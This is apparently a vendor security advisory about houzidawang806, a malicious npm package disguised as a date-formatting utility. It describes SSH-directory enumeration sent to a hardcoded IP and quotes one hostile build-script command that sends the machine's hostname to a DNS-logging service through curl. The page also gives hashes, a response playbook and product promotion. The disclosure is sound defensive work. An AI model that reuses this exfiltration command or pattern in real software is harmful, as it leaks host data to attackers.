Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

houzidawang806npm

houzidawang806 is a confirmed malicious npm package (MAL-2026-5729) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in houzidawang806 (npm)

MAL-2026-5729
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall houzidawang806

What this malware does

Package self-describes as 'A simple date formatting utility' but ships two distinct attacker primitives. (1) postinstall.js enumerates ~/.ssh/ for *.pub files and POSTs the listing along with os.userInfo().username and platform to the hardcoded bare-IP endpoint https://124.221.154.135:443/post. The file's comments explicitly label sections as targets and C2 server in Chinese ('窃取目标', 'C2 服务器', '模拟外传数据到攻击者服务器 (C2)'). The script is shipped in the tarball but not wired into package.json lifecycle hooks, so it does not auto-execute on npm install; however, any tooling or developer that runs the shipped postinstall.js will exfiltrate SSH key listings to the attacker. (2) package.json scripts.build runs curl http://$(hostname).ba6511da.log.dnslog.pp.ua, embedding the installer's hostname as a subdomain of a public DNS-logging service used for out-of-band exfiltration. Running npm run build leaks the machine hostname to the attacker via DNS. The doc/behavior mismatch (a date-formatting library has no need for SSH directory enumeration, hostname recon, or hardcoded IP callbacks) plus the explicit C2-labeled comments make malicious intent unambiguous.

The OpenSSF Package Analysis project identified 'houzidawang806' @ 1.0.1 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.

Malicious versions

23 flagged
1.0.01.0.11.0.21.0.31.0.41.0.51.0.61.0.71.0.91.1.01.1.11.1.21.1.31.1.41.1.51.1.71.1.81.2.01.2.11.2.31.2.41.2.51.2.6

Indicators of compromise (SHA-256)

186cef2d90669627c144f6f764841e857ded307a0372238aeecc6c8e91764a8c
1f9aa6eb5f4473f97122e818f166c25731d5ce08bde32e7cabb6d0ad4a8bcd72
c9465880823df07bf6d3072e9f571017345cbb8f439ae6c6b746dd961957c124
cf3755e1d95cbc35447eddcf7dbd3f73e38f5bcb79191e331e5d031b788344a5
d3b9e97914f61e1cbdea802c76cafec8899ecfd781278c5b67f065e6cc095b97
d87250aff5f494d186912ae9a97ee2be51ee2297eb2d195170aa7d9af74f34b7
ec06bc7b9fb4587ff18dc1a514679b70b1dd33c3ba42a09d49cb2d0543d22c56
1d4f46e68d3ab009218933952fd965f94087b03aa767134b22a17b89558b1672
25812116b56b6b60b70884319f6f1b373274301a4c70b0bb759e47fd7b0d65e4
b80766cd2ee40e37bff527ac401fb774b472394123c78f31e628773c07ae7361
ec519cede9b3aa68ae0ed2106ae1b96f26fc1c28096554119c81a5b8d37d5acc
393c170cfd9f26fdb4e33b046848c4c0ffa48aacc87ff35bad4552738742a790
5e09b1bef1c3b9c350dcd181016a81cbc4374667e368a94eaa6e90ca5a3e5a87
bec406850a4518b586831144001546c6004855af816494e7c9eb74cacf11de41
c5a25c4c40caa00bef428fd40655dd367a255c4ece0fee9750424e38354b2c22
de47535954035b8cc659e8f202145e9c7f750f5e8e9f6c8448c9c7db2b133f70
03d5dd0560af1dbdb7ef5e65e84512fac273de4797eecf1cda7e1f86128a41ff
2dbf603db6d0a3434c6c417dd460f26d08b9e230c03926f05987bb3841d3c72b
36f871ca79205edffab01336c146c7627e76579ba15d07fa227550462441219a
57614e94ac6da546e583ba0c419c05ebc75fbc40151d52bf9d8921fe76901312
b4d8424e76cba15238115405bb8c75978f98f8f4aeb851a36eb7f26e3111d4c4
222b782ba821e333777d25b4baca0be785471d6307f292aec924271278d78f0a
f0c521435e5efccb13ae77d5e0c7fbacff8835fd8adfd1965b528361a5cb7dd9
c529b7a8677a627bdce191e18fb35944e3cd656215fa4ce1f8e8722dd573c808
3e4339534844376596fab42495fc4ca800d9b62757f9faed79ef43bd0a1aaf95
859528f44a22b184d6c347d60be4e99159d0ade2882af63cca24e34843242e79
8b130c1914e9d61cc2a60750694d44a2fb1da4f4e507998a804d7c9fe13c9777
976c19640f78d8d109b6e1def9515149ff55eac9536ad45d9a2afbb7c6af5f05
ed3081af88967b6d88637c2d7f15cde7050674bab1536c57bdf465737a6f6cf0
f7b1920f8548384e86ca70d5bb3235e34412613de86d5393e970a49ad0e2ae93
fca4d85da3d71c83c874c233a9af49ea70285142e572c204cbdf43f2b6cf1d53

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for houzidawang806 (23 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging houzidawang806 across your stack and pipelines.

  2. If you installed it — respond

    houzidawang806 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If houzidawang806 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks houzidawang806 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. houzidawang806 on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, and 15 more flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006292IN-MAL-2026-006291IN-MAL-2026-006287IN-MAL-2026-006295IN-MAL-2026-006296IN-MAL-2026-006289IN-MAL-2026-006293IN-MAL-2026-006294IN-MAL-2026-006290IN-MAL-2026-006288IN-MAL-2026-006308IN-MAL-2026-006303IN-MAL-2026-006310IN-MAL-2026-006304IN-MAL-2026-006302IN-MAL-2026-006299IN-MAL-2026-006309IN-MAL-2026-006298IN-MAL-2026-006301IN-MAL-2026-006297IN-MAL-2026-006307IN-MAL-2026-006363IN-MAL-2026-006362IN-MAL-2026-006448IN-MAL-2026-006447IN-MAL-2026-006451IN-MAL-2026-006450IN-MAL-2026-006449

References

Credits

  • Amazon Inspector · finder
  • OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks houzidawang806-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore